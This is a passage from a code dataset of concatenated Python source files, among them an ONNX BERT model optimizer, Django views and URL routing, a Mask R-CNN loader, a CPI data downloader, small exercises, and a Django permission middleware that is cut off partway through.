['Unsqueeze', 'Gather', 'Shape'], [0, 0, 0], output_name_to_node)\n if path is None:\n continue\n (unsqueeze_0, gather_0, shape_0) = path\n\n path = self.match_parent_path(concat_node, ['Unsqueeze', 'Gather', 'Shape'], [1, 0, 0], output_name_to_node)\n if path is None:\n continue\n (unsqueeze_1, gather_1, shape_1) = path\n\n shape = []\n gather_value = self.get_constant_value(gather_0.input[1])\n if gather_value == 0:\n shape.append(0)\n\n gather_value = self.get_constant_value(gather_1.input[1])\n if gather_value == 1:\n shape.append(0)\n\n if len(shape) != 2:\n continue\n\n if (len(concat_node.input) > 2):\n concat_2 = self.get_initializer(concat_node.input[2])\n if concat_2 is None:\n continue\n shape.extend(numpy_helper.to_array(concat_2))\n\n if (len(concat_node.input) > 3):\n concat_3 = self.get_initializer(concat_node.input[3])\n if concat_3 is None:\n continue\n shape.extend(numpy_helper.to_array(concat_3))\n shape_value = np.asarray(shape, dtype=np.int64)\n\n constant_shape_name = self.create_node_name('Constant', 'constant_shape')\n new_node = onnx.helper.make_node(\n 'Constant',\n inputs=[],\n outputs=[constant_shape_name],\n value=onnx.helper.make_tensor(\n name='const_tensor',\n data_type=TensorProto.INT64,\n dims=shape_value.shape,\n vals=shape_value))\n reshape_node.input[1] = constant_shape_name\n nodes_to_remove.extend([concat_node, unsqueeze_0, unsqueeze_1, gather_0, gather_1, shape_0, shape_1])\n nodes_to_add.append(new_node)\n\n print(\"Fused reshape count:\", len(nodes_to_add))\n\n self.remove_nodes(nodes_to_remove)\n self.add_nodes(nodes_to_add)\n\n \"\"\"\n Embed Layer Normalization will fuse embeddings and mask processing into one node.\n The embeddings before conversion:\n\n (input_ids) --------> Gather ----------+ (segment_ids)\n | | |\n | v v\n +--> Shape --> Expand -> Gather---->Add Gather\n | ^ | |\n | | v v\n +---(optional graph) SkipLayerNormalization\n\n Optional graph is used to generate position list (0, 1, ...). It can be a constant in some model.\n \"\"\"\n def fuse_embed_layer(self, verbose=False):\n if self.mask_input is None:\n print(\"skip embed layer fusion since mask input is not found\")\n return\n\n nodes = self.nodes()\n input_name_to_nodes = self.input_name_to_nodes()\n output_name_to_node = self.output_name_to_node()\n mask_input_name = self.mask_input\n\n nodes_to_remove = []\n nodes_to_add = []\n\n # Find the first normalize node could be embedding layer.\n normalize_node = None\n for node in self.get_normalize_nodes():\n if self.match_parent_path(node, ['Add', 'Gather'], [0, 0]) is not None:\n if self.find_first_child_by_type(node, 'Attention', input_name_to_nodes, recursive=False) is not None:\n normalize_node = node\n break\n\n if normalize_node is None:\n print(\"did not find embedding layer\")\n\n # Here we assume the order of embedding is word_embedding + position_embedding + segment_embedding.\n word_embedding_path = self.match_parent_path(normalize_node, ['Add', 'Gather'], [0, 0])\n if word_embedding_path is None:\n print(\"Failed to find word embedding\")\n return\n add_node, word_embedding_gather = word_embedding_path\n\n position_embedding_path = self.match_parent_path(add_node, ['Gather', 'Expand', 'Shape'], [1, 1, 1])\n if position_embedding_path is None:\n print(\"Failed to find position embedding\")\n return\n position_embedding_gather, position_embedding_expand, position_embedding_shape = position_embedding_path\n\n segment_embedding_path = self.match_parent_path(normalize_node, ['Gather'], [1])\n if segment_embedding_path is None:\n print(\"failed to find segment embedding\")\n return\n segment_embedding_gather = segment_embedding_path[0]\n\n input_ids = word_embedding_gather.input[1]\n segment_ids = segment_embedding_gather.input[1]\n\n if position_embedding_shape.input[0] != input_ids:\n print(\"position and word embedding is expected to be applied on same input\")\n return\n\n subgraph_nodes = self.get_parent_subgraph_nodes(position_embedding_expand, [input_ids], output_name_to_node)\n\n nodes_to_remove.extend(subgraph_nodes)\n nodes_to_remove.extend([normalize_node, add_node, segment_embedding_gather, word_embedding_gather, position_embedding_gather, position_embedding_expand])\n\n embed_node = onnx.helper.make_node('EmbedLayerNormalization',\n inputs=[input_ids, segment_ids, mask_input_name, \n word_embedding_gather.input[0], position_embedding_gather.input[0], segment_embedding_gather.input[0],\n normalize_node.input[2], normalize_node.input[3]], # gamma and beta\n outputs=[\"embed_output\", \"mask_idx\"],\n name=\"EmbedLayer\")\n embed_node.domain = \"com.microsoft\"\n # store embed node for other processing\n self.embed_node = embed_node\n\n nodes_to_add.extend([embed_node])\n\n self.replace_input_of_all_nodes(normalize_node.output[0], 'embed_output')\n self.replace_input_of_all_nodes(mask_input_name, 'mask_idx')\n\n self.remove_nodes(nodes_to_remove)\n self.add_nodes(nodes_to_add)\n self.update_graph(verbose)\n\n def get_batch_size_from_graph_input(self):\n graph = self.graph()\n for input in graph.input:\n if input.name in self.embed_node.input[:3]:\n tensor_type = input.type.tensor_type\n if (tensor_type.HasField(\"shape\")):\n for d in tensor_type.shape.dim:\n if (d.HasField(\"dim_value\")):\n return d.dim_value\n elif (d.HasField(\"dim_param\")):\n return str(d.dim_param) # unknown dimension with symbolic name\n return None\n return None\n\n def change_input_to_int32(self):\n original_opset_version = self.model.opset_import[0].version\n graph = self.graph()\n\n batch_size = self.get_batch_size_from_graph_input()\n input_batch_size = batch_size if isinstance(batch_size, int) else 1\n new_graph_inputs = []\n for input in graph.input:\n if input.name in self.embed_node.input[:3]: # Only the first 3 inputs of embed node need int32 conversion.\n int32_input = onnx.helper.make_tensor_value_info(input.name, TensorProto.INT32, [input_batch_size, self.sequence_length])\n new_graph_inputs.append(int32_input)\n else:\n new_graph_inputs.append(input)\n\n graph_def = onnx.helper.make_graph(graph.node,\n 'int32 inputs',\n new_graph_inputs,\n graph.output,\n initializer=graph.initializer,\n value_info=graph.value_info)\n\n self.model = onnx.helper.make_model(graph_def, producer_name='bert model optimizer')\n\n if isinstance(batch_size, str):\n self.update_dynamic_batch_io(batch_size)\n\n # restore opset version\n self.model.opset_import[0].version = original_opset_version\n\n def cast_input_to_int32(self):\n for input in self.embed_node.input[:3]:\n graph_input = self.find_graph_input(input)\n if graph_input is not None and graph_input.type.tensor_type.elem_type == TensorProto.INT64:\n cast_output = input + '_int32'\n cast_node = onnx.helper.make_node('Cast', inputs=[input], outputs=[cast_output])\n cast_node.attribute.extend([onnx.helper.make_attribute(\"to\", int(TensorProto.INT32))])\n self.replace_input_of_all_nodes(input, cast_output)\n self.add_node(cast_node)\n\n # Update input and output using dynamic batch\n def update_dynamic_batch_io(self, dynamic_batch_dim='batch'):\n dynamic_batch_inputs = {}\n for input in self.model.graph.input:\n for embed_input in self.embed_node.input[:3]:\n if embed_input == input.name:\n dim_proto = input.type.tensor_type.shape.dim[0]\n dim_proto.dim_param = dynamic_batch_dim\n\n for output in self.model.graph.output:\n dim_proto = output.type.tensor_type.shape.dim[0]\n dim_proto.dim_param = dynamic_batch_dim\n\n \"\"\"\n Layer Normalization will fuse Add + LayerNormalization into one node:\n +----------------------+\n | |\n | v\n Add --> ReduceMean --> Sub --> Pow --> ReduceMean --> Add --> Sqrt --> Div --> Mul --> Add\n | ^\n | |\n +-----------------------------------------------+\n\n It also handles cases of duplicated sub nodes exported from older version of PyTorch:\n +----------------------+\n | v\n | +-------> Sub-----------------------------------------------+\n | | |\n | | v\n Add --> ReduceMean --> Sub --> Pow --> ReduceMean --> Add --> Sqrt --> Div --> Mul --> Add\n | ^\n | |\n +----------------------+\n \"\"\"\n def fuse_layer_norm(self):\n input_name_to_nodes = self.input_name_to_nodes()\n output_name_to_node = self.output_name_to_node()\n\n nodes_to_remove = []\n nodes_to_add = []\n\n for node in self.nodes():\n if node.op_type == 'Add':\n children = self.get_children(node, input_name_to_nodes)\n children_types = sorted([child.op_type for child in children])\n if children_types != [\"ReduceMean\", \"Sub\"] and children_types != [\"ReduceMean\", \"Sub\", \"Sub\"]:\n continue\n\n div_node = None\n for child in children:\n if child.op_type == 'Sub':\n div_node = self.find_first_child_by_type(child, 'Div', input_name_to_nodes, recursive=False)\n if div_node is not None:\n break\n if div_node is None:\n continue\n\n parent_nodes = self.match_parent_path(div_node, ['Sqrt', 'Add', 'ReduceMean', 'Pow', 'Sub', 'Add'], [1, 0, 0, 0, 0, 0], output_name_to_node)\n if parent_nodes is None:\n continue\n\n sqrt_node, second_add_node, reduce_mean_node, pow_node, sub_node, first_add_node = parent_nodes\n if first_add_node != node:\n continue\n\n mul_node = input_name_to_nodes[div_node.output[0]][0]\n if mul_node.op_type != 'Mul':\n continue\n\n last_add_node = input_name_to_nodes[mul_node.output[0]][0]\n if last_add_node.op_type != 'Add':\n continue\n\n nodes_to_remove.append(node)\n nodes_to_remove.extend(children)\n nodes_to_remove.extend([last_add_node, mul_node, div_node, sqrt_node, second_add_node, reduce_mean_node, pow_node])\n\n normalize_node_name = self.create_node_name(self.normalize_name, name_prefix=\"SkipLayerNorm\")\n inputs = [i for i in node.input]\n inputs.extend([mul_node.input[0], last_add_node.input[1]])\n normalize_node = onnx.helper.make_node(self.normalize_name,\n inputs=inputs,\n outputs=[last_add_node.output[0]],\n name=normalize_node_name)\n normalize_node.domain = \"com.microsoft\"\n nodes_to_add.extend([normalize_node])\n\n self.remove_nodes(nodes_to_remove)\n self.add_nodes(nodes_to_add)\n print(\"Fused layer normalization count:\", len(nodes_to_add))\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--input', required=True, type=str)\n parser.add_argument('--output', required=True, type=str)\n\n # model parameters\n parser.add_argument('--num_heads', required=False, type=int, default=12, help=\"number of attention heads\")\n parser.add_argument('--hidden_size', required=False, type=int, default=768)\n parser.add_argument('--sequence_length', required=False, type=int, default=128)\n\n # Use int32 (instead of int64) tensor as input to avoid unnecessary data type cast.\n parser.add_argument('--input_int32', required=False, action='store_true')\n parser.set_defaults(input_int32=False)\n\n # For NVidia GPU with Tensor Core like V100 and T4, half-precision float brings better performance.\n parser.add_argument('--float16', required=False, action='store_true')\n parser.set_defaults(float16=False)\n\n parser.add_argument('--verbose', required=False, action='store_true')\n parser.set_defaults(verbose=False)\n\n args = parser.parse_args()\n\n model = ModelProto()\n with open(args.input, \"rb\") as f:\n model.ParseFromString(f.read())\n\n bert_model = BertOnnxModel(model, args.num_heads, args.hidden_size, args.sequence_length)\n\n bert_model.fuse_layer_norm()\n\n bert_model.fuse_gelu()\n\n bert_model.fuse_reshape()\n\n bert_model.fuse_attention(args.verbose)\n\n bert_model.fuse_embed_layer(args.verbose)\n \n if bert_model.embed_node is None:\n print(\"Failed to fuse embedding layer.\")\n return\n\n if args.input_int32:\n bert_model.change_input_to_int32()\n else:\n bert_model.cast_input_to_int32()\n\n if args.float16:\n bert_model.convert_model_float32_to_float16()\n\n with open(args.output, \"wb\") as out:\n out.write(bert_model.model.SerializeToString())\n\nmain()\n","sub_path":"onnxruntime/python/tools/bert/bert_model_optimization.py","file_name":"bert_model_optimization.py","file_ext":"py","file_size_in_byte":36299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"383061180","text":"from django.urls import path\nfrom . import views\n\napp_name = \"user\"\n\nurlpatterns = [\n path(\"\", views.main, name=\"main\"),\n path(\"login\", views.login_view, name=\"login\"),\n path(\"logout\", views.logout_view, name=\"logout\"),\n path(\"signup\", views.signup_view, name=\"signup\"),\n path(\"notice\",views.notice_view, name=\"notice\"),\n path('/det/', views.notDet_view, name='notDet'),\n path(\"manage\", views.manage_view, name=\"manage\"),\n path(\"intro\", views.intro_view, name=\"intro\"),\n path('/info/', views.info_view, name=\"info\"),\n path(\"modinfo\", views.modinfo_view, name=\"modinfo\"),\n]\n","sub_path":"장고_0724_최종버전테스트/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"177734703","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom .models import *\nfrom .forms import *\nfrom django.forms import inlineformset_factory\nfrom .filters import OrderFilter\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate,login,logout\nfrom django.contrib.auth.decorators import login_required\nfrom .decoraters import *\n\n# Create your views here.\n\n\ndef contact(request):\n return HttpResponse('contact page')\n\n\ndef admin(request):\n return None\n\n\n@login_required(login_url='login')\ndef products(request):\n product = Product.objects.all()\n\n return render(request, 'accounts/products.html', {'products': product})\n\n\n@login_required(login_url='login')\ndef customers(request, pk):\n customer = Customers.objects.get(id=pk)\n orders = customer.order_set.all()\n\n total_count = orders.count()\n pending_count = orders.filter(status='pending')\n myFilter = OrderFilter(request.GET, queryset=orders)\n\n order = myFilter.qs\n print(order)\n\n context = {'customer': customer, 'orders': order, 'total_count': total_count,\n 'myFilter': myFilter}\n\n return render(request, 'accounts/customers.html', context)\n\n\n\n@login_required(login_url='login')\n# @allowed_users(allowed_roles=['admin','staff','customers'])\ndef home(request):\n orders = Order.objects.all()\n customers = Customers.objects.all()\n\n total_customers = customers.count()\n total_orders = orders.count()\n\n delivered = orders.filter(status='delivered').count()\n pending = orders.filter(status='pending').count()\n\n context = {'orders': orders, 'customers': customers,\n 'total_orders': total_orders, 'pending': pending,\n 'delivered': delivered}\n\n return render(request, 'accounts/dashboard.html', context)\n\n\n@login_required(login_url='login')\ndef createOrder(request, pk):\n OrderFormSet = inlineformset_factory(Customers, Order, fields=('product', 'status', 'note'), extra=10)\n customer = Customers.objects.get(id=pk)\n formset = OrderFormSet(queryset=Order.objects.none(), instance=customer)\n # form = OrderForm(initial={'customer':customer})\n\n if request.method == 'POST':\n # print(\"pppppp\",request.POST)\n # form = OrderForm(request.POST)\n\n formset = OrderFormSet(request.POST, instance=customer)\n if formset.is_valid():\n formset.save()\n return redirect('/accounts/')\n\n context = {'formset': formset}\n return render(request, 'accounts/order_form.html', context)\n\n\n@login_required(login_url='login')\ndef updateOrder(request, pk):\n order = Order.objects.get(id=pk)\n form = OrderForm(instance=order)\n if request.method == 'POST':\n # print(\"pppppp\",request.POST)\n form = OrderForm(request.POST, instance=order)\n if form.is_valid():\n form.save()\n return redirect('/accounts/')\n\n context = {\"form\": form}\n return render(request, 'accounts/update_form.html', context)\n\n\n@login_required(login_url='login')\ndef deleteOrder(request, pk):\n order = Order.objects.get(id=pk)\n if request.method == 'POST':\n order.delete()\n return redirect('/accounts/')\n\n context = {'item': order}\n return render(request, 'accounts/delete.html', context)\n\n\ndef registerPage(request):\n form = CreateUserForm()\n if request.method == 'POST':\n form = CreateUserForm(request.POST)\n if form.is_valid():\n form.save()\n user = form.cleaned_data.get('username')\n messages.success(request,'scuessful create {} '.format(user))\n return redirect('/accounts/login/')\n context = {'form':form}\n return render(request,\"accounts/register.html\",context)\n\n\n@unauthenthenticated_user\ndef loginPage(request):\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n\n user = authenticate(request,username=username,password=password)\n if user is not None:\n login(request,user)\n return redirect('home')\n else:\n messages.info(request,'password or username not correct!')\n return render(request, \"accounts/login.html\")\n return render(request, \"accounts/login.html\")\n\n\n@login_required(login_url='login')\ndef logoutUser(request):\n logout(request)\n return redirect('login')\n\n@login_required(login_url = '/accounts/login')\n@allowed_users(allowed_roles=['admin'])\ndef user(request):\n # user = request.GET.get(User)\n\n orders = request.user.customers.order_set.all()\n total_orders = orders.count()\n\n delivered_count = orders.filter(status='delivered')\n pending_count = orders.filter(status='pending')\n\n context = {'orders':orders,'total_count':total_orders,'delivered_count':delivered_count,\n 'pending_count':pending_count}\n return render(request,'accounts/user.html',context)\n\n\n\n@login_required(login_url='login')\ndef accountSetting(request):\n customer = request.user.customers\n form = CustomersForm(instance=customer)\n if request.method == \"POST\":\n form = CustomersForm(request.POST,request.FILES,instance=customer)\n if form.is_valid():\n print('ooooo')\n form.save()\n context = {'form':form}\n return render(request,'accounts/account_seeting.html',context)","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"102908","text":"from setuptools import setup, find_packages\nimport sys, os\n\nversion = '1.0.0'\n\nsetup(name='epubtools',\n version=version,\n description=\"Library for common epub file handling\",\n long_description=\"\"\"\\\n\"\"\",\n classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n keywords='epub',\n author='Liza Daly',\n author_email='liza@threepress.org',\n url='http://code.google.com/p/epub-tools/',\n license='New BSD',\n packages=find_packages(exclude=['ez_setup', \n \"*.tests\", \"*.tests.*\", \"tests.*\", \"tests\"]),\n package_data={\n 'epubtools.externals': ['README', 'epubcheck', 'epubcheck*/*.*', 'epubcheck*/*/*.*'],\n },\n zip_safe=False,\n install_requires=[\n 'lxml>=2.1.2',\n ],\n entry_points=\"\"\" \n # -*- Entry points: -*-\n \"\"\",\n )\n","sub_path":"epubtools/epubtools/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"615180577","text":"from lexenstein.morphadorner import *\nfrom lexenstein.identifiers import *\nfrom lexenstein.features import *\nimport sys\n\ntrain_victor_corpus = sys.argv[1]\nk = None\ntry:\n k = int(sys.argv[2].strip())\nexcept ValueError:\n k = 'all'\nC = float(sys.argv[3].strip())\nkernel = sys.argv[4].strip()\ndegree = float(sys.argv[5].strip())\ngamma = float(sys.argv[6].strip())\ncoef0 = float(sys.argv[7].strip())\ntest_victor_corpus = sys.argv[8].strip()\nout_file = sys.argv[9].strip()\n\nm = MorphAdornerToolkit('/export/data/ghpaetzold/LEXenstein/morph/')\n\nfe = FeatureEstimator()\nfe.addLexiconFeature('../../../../semeval/corpora/basic/basic_words.txt', 'Simplicity')\nfe.addLengthFeature('Complexity')\nfe.addCollocationalFeature('../../../../../benchmarking/semeval/corpora/lm/simplewiki/simplewiki.5gram.bin.txt', 2, 2, 'Complexity')\nfe.addSenseCountFeature('Simplicity')\nfe.addSynonymCountFeature('Simplicity')\nfe.addHypernymCountFeature('Simplicity')\nfe.addHyponymCountFeature('Simplicity')\n\nmli = MachineLearningIdentifier(fe)\nmli.calculateTrainingFeatures(train_victor_corpus)\nmli.calculateTestingFeatures(test_victor_corpus)\nmli.selectKBestFeatures(k=k)\nmli.trainSVM(C=C, kernel=kernel, degree=degree, gamma=gamma, coef0=coef0, class_weight='auto')\nlabels = mli.identifyComplexWords()\nprobabilities = mli.classifier.predict_proba(mli.Xte)\n\no = open(out_file, 'w')\nfor i in range(0, len(labels)):\n label = labels[i]\n prob = max(probabilities[i])\n o.write(str(label) + '\\t' + str(prob) + '\\n')\no.close()\n","sub_path":"cwi_combining/scripts/identifiers/svm/Run_Set2.py","file_name":"Run_Set2.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"315661376","text":"\"\"\"Менеджер данных по потребительской инфляции.\"\"\"\nimport pandas as pd\n\nfrom poptimizer.config import POptimizerError\nfrom poptimizer.store.manager import AbstractManager\nfrom poptimizer.store.utils import DATE\n\n# Данные по инфляции хранятся в основной базе\nNAME_CPI = \"monthly_cpi\"\n\n# Параметры загрузки валидации данных\nURL_CPI = \"http://www.gks.ru/free_doc/new_site/prices/potr/I_ipc.xlsx\"\nPARSING_PARAMETERS = dict(\n sheet_name=\"ИПЦ\", header=3, skiprows=[4], skipfooter=3, index_col=0\n)\nNUM_OF_MONTH = 12\nFIRST_YEAR = 1991\nFIRST_MONTH = \"январь\"\n\n\nclass CPI(AbstractManager):\n \"\"\"Месячные данные по потребительской инфляции.\"\"\"\n\n def __init__(self):\n super().__init__(NAME_CPI)\n\n async def _download(self, name: str):\n \"\"\"Загружает полностью данные по инфляции с сайта ФСГС.\"\"\"\n df = pd.read_excel(URL_CPI, **PARSING_PARAMETERS)\n self._validate(df)\n df = df.transpose().stack()\n first_year = df.index[0][0]\n df.index = pd.date_range(\n name=DATE,\n freq=\"M\",\n start=pd.Timestamp(year=first_year, month=1, day=31),\n periods=len(df),\n )\n df.name = \"CPI\"\n # Данные должны быть не в процентах, а в долях\n return df.div(100)\n\n @staticmethod\n def _validate(df: pd.DataFrame):\n \"\"\"Проверка заголовков таблицы\"\"\"\n months, _ = df.shape\n first_year = df.columns[0]\n first_month = df.index[0]\n if months != NUM_OF_MONTH:\n raise POptimizerError(\"Таблица должна содержать 12 строк с месяцами\")\n if first_year != FIRST_YEAR:\n raise POptimizerError(\"Первый год должен быть 1991\")\n if first_month != FIRST_MONTH:\n raise POptimizerError(\"Первый месяц должен быть январь\")\n","sub_path":"poptimizer/store/cpi.py","file_name":"cpi.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"414516876","text":"# Your code here\n\ndef s2ni(s):\n return s.encode()[0] * -1\n\n\ndef histogram():\n with open(\"robin.txt\") as f:\n words = f.read()\n\n words = words.lower()\n\n ignored = r'\":;,.-+=/\\|[]{}()*^&'\n for c in ignored:\n words = words.replace(c, '')\n\n words = words.split()\n\n store = {}\n\n for word in words:\n if word in store:\n store[word] += 1\n else:\n store[word] = 1\n\n longest_word = 0\n for key, value in store.items():\n if(len(key) > longest_word):\n longest_word = len(key)\n\n store[key] = value * '#'\n\n longest_word += 2\n\n store_items = list(store.items())\n\n store_items.sort(reverse=True, key=lambda x: (x[1], s2ni(x[0])))\n\n for key, value in store_items:\n print(key + \" \" * (longest_word - len(key)), value)\n\n\nhistogram()\n","sub_path":"applications/histo/histo.py","file_name":"histo.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"421354160","text":"from autolab_core import YamlConfig\nfrom sd_maskrcnn import utils\nfrom sd_maskrcnn.config import MaskConfig\nimport os\nimport tensorflow as tf\nimport skimage\nfrom mrcnn import model as modellib\nimport numpy as np\nimport cv2\nfrom keras.backend.tensorflow_backend import set_session, clear_session\n\nclass MaskLoader():\n\n def __init__(self, cfgFile=\"cfg/maskrcnn.yaml\"):\n config = YamlConfig(cfgFile)\n print(\"Benchmarking model.\")\n\n # Create new directory for outputs\n output_dir = config['output_dir']\n utils.mkdir_if_missing(output_dir)\n\n # Save config in output directory\n image_shape = config['model']['settings']['image_shape']\n config['model']['settings']['image_min_dim'] = min(image_shape)\n config['model']['settings']['image_max_dim'] = max(image_shape)\n config['model']['settings']['gpu_count'] = 1\n config['model']['settings']['images_per_gpu'] = 1\n inference_config = MaskConfig(config['model']['settings'])\n \n model_dir, _ = os.path.split(config['model']['path'])\n self.model = modellib.MaskRCNN(mode=config['model']['mode'], config=inference_config,\n model_dir=model_dir)\n \n print((\"Loading weights from \", config['model']['path']))\n self.model.load_weights(config['model']['path'], by_name=True)\n self.graph = tf.get_default_graph()\n print(self.model.keras_model.layers[0].dtype)\n\n def predict(self, depth_img):\n img = ((depth_img / depth_img.max()) * 255).astype(np.uint8)\n rgb = np.dstack((img, img, img))\n with self.graph.as_default():\n res = self.model.detect([rgb], verbose=1)[0]\n res[\"masks\"] = res['masks'].transpose((2, 0, 1))\n pred = {\n 'rois': res['rois'].tolist(),\n 'class_ids': res['class_ids'].tolist(),\n 'scores': res['scores'].tolist(),\n 'masks': res['masks'].tolist()\n }\n return pred\n\n def predictRgb(self, img):\n with self.graph.as_default():\n res = self.model.detect([img], verbose=1)[0]\n pred = {\n 'rois': res['rois'].tolist(),\n 'class_ids': res['class_ids'].tolist(),\n 'scores': res['scores'].tolist(),\n 'masks': res['masks'].tolist()\n }\n return pred\n","sub_path":"dexnet/maskNet.py","file_name":"maskNet.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"469892179","text":"# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def findBottomLeftValue(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n\n def dfs(node, level, max_level, res):\n if node.left is None and node.right is None:\n if level > max_level[0]:\n res[0] = node.val\n max_level[0] = level\n if node.left is not None:\n dfs(node.left, level + 1, max_level, res)\n if node.right is not None:\n dfs(node.right, level + 1, max_level, res)\n\n if root is None:\n return 0\n res = [0]\n dfs(root, 0, [-1], res)\n\n return res[0]\n","sub_path":"algorithms/find-bottom-left-tree-value/src/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"282158066","text":"#Example program3\n# combination of an else statement with a for statement that searches for\n# prime numbers from 10 thru 20\n\n# to iterate between 10 to 20\nprint(\"Example program 3 - FOR ELSE construct \\n\")\nfor num in range(10,20):\n\n # to iterate on the factors of the number\n for increment in range(2,num):\n # to determine the first factor\n if num%increment == 0:\n # to calculate the second factor\n factor = num/increment\n print(\"%d equals %d * %d \" %(num,increment,factor))\n # to move to the next number, the #first FOR\n break \n else:\n print(num, 'is a prime number')\n","sub_path":"Day_4/new,py.py","file_name":"new,py.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"71537334","text":"import json\nfrom pprint import pprint\ndg={}\ndc={}\ndl={}\nda={}\n#liv = 0\n\n\ndef genera_sottoalbero(fnome,x,fout):\n '''inserire qui il vostro codice'''\n albero = json.load(open(fnome))\n dg[x]=albero[x]\n for i in dg[x]:\n genera_sottoalbero(fnome, i, fout)\n k=[x for x in dg]\n for x in k:\n if x not in albero:\n dg.pop(x)\n \n diz=open(fout,\"w\")\n json.dump(dg, diz)\n diz.close()\n \n \n \n\ndef cancella_sottoalbero(fnome,x,fout):\n '''inserire qui il vostro codice'''\n albero = json.load(open(fnome))\n dc[x]=albero[x]\n for i in dc[x]:\n cancella_sottoalbero(fnome, i, fout)\n k=[x for x in dc]\n for x in k:\n if x not in albero:\n dc.pop(x)\n \n for i in dc:\n del(albero[i])\n \n \n for i in albero:\n for x in dc:\n if x in albero[i]:\n albero[i].remove(x)\n \n diz=open(fout,\"w\")\n json.dump(albero, diz)\n diz.close()\n \n \ndef dizionario_livelli(fnome,fout):\n '''inserire qui il vostro codice'''\n liv=0\n l=[]\n albero = json.load(open(fnome))\n k=[x for x in albero]\n dl[liv]=[k[liv]]\n for x in range(len(dl[liv])):\n l=albero[dl[liv][x]]\n liv+=1\n dl[liv]=l\n dizionario_livelli(fnome,fout)\n\n diz=open(fout,\"w\")\n json.dump(dl, diz)\n diz.close()\n \n \ndef dizionario_gradi_antenati(fnome,y,fout):\n '''inserire qui il vostro codice'''\n albero = json.load(open(fnome))\n\n for x in albero:\n for i in albero:\n if x in albero[i]:\n count=0\n count+=1\n da[x]=count\n dizionario_gradi_antenati(fnome,y,fout) \n \n diz=open(fout,\"w\")\n json.dump(da, diz)\n diz.close()\n \n \n\n\n \n\n","sub_path":"students/1806590/homework04/program01.py","file_name":"program01.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"249035175","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom django.http import JsonResponse\nfrom rest_framework import status\nfrom rentservice.utils.retcode import retcode, errcode\nfrom rentservice.utils.redistools import RedisTool\nfrom rentservice.models import *\nfrom rentservice.serializers import *\nfrom rentservice.utils import logger\nimport re\nfrom django.contrib.sessions.models import Session\n\n\nBIM_HASH = 'bim_hash'\nPERMISSION_GROUP_HASH = 'permissions_group_hash'\nPERMISSION_URL_HASH = 'permissions_url_hash'\nlog = logger.get_logger(__name__)\n\ntry:\n from django.utils.deprecation import MiddlewareMixin # Django 1.10.x\nexcept ImportError:\n MiddlewareMixin = object # Django 1.4.x - Django 1.9.x\n\n\nclass AuthMiddleware(MiddlewareMixin):\n def __init__(self, get_response):\n self.get_response = get_response\n access_group_ret = AccessGroup.objects.all()\n access_group_list = AccessGroupSerializer(access_group_ret, many=True).data\n groupid_group_dic = {}\n for item in access_group_list:\n groupid_group_dic[item['access_group_id']] = item['group']\n ret = AuthUserGroup.objects.all()\n auth_user_group = AuthUserGroupSerializer(ret, many=True).data\n conn = self.get_connection_from_pool()\n for item in auth_user_group:\n conn.hset(PERMISSION_GROUP_HASH, item['user_token'], groupid_group_dic[item['group']])\n for item_access_group in access_group_list:\n ret = AccessUrlGroup.objects.filter(access_group__group=item_access_group['group'])\n access_url_list = []\n access_url_group = AccessUrlGroupSerializer(ret, many=True).data\n for item in access_url_group:\n access_url_list.append(item['access_url_set'])\n if access_url_list:\n final_hash_value = ','.join(access_url_list)\n else:\n final_hash_value = ''\n if final_hash_value:\n conn.hset(PERMISSION_URL_HASH, item_access_group['group'], final_hash_value)\n\n def process_request(self, request):\n if request.path.startswith(r'/container/api/v1/cloudbox/rentservice/'): # 检测如果不是登录的话\n try:\n token = request.META.get('HTTP_AUTHORIZATION')\n log.info(\"request token %s\" % token)\n conn = self.get_connection_from_pool()\n if token:\n # try:\n # sess = Session.objects.get(pk=request.session.session_key)\n # sess_param = sess.get_decoded()\n # if sess_param[token] and (token in sess_param.keys()):\n # log.info('session is valid pass')\n # else:\n # log.info(\"session timeout or invalid session\")\n # return JsonResponse(retcode(errcode(\"0401\", \"session timeout or invalid session\"),\n # \"0401\", \"session timeout or invalid session\"),\n # safe=True,\n # status=status.HTTP_401_UNAUTHORIZED)\n # except Session.DoesNotExist:\n # return JsonResponse(retcode(errcode(\"0401\", \"no authorized, session invalid\"),\n # \"0401\", \"no authorized, session invalid\"),\n # safe=True,\n # status=status.HTTP_401_UNAUTHORIZED)\n if conn.hexists(PERMISSION_GROUP_HASH, token):\n group = conn.hget(PERMISSION_GROUP_HASH, token)\n #admin level direct pass\n if group == 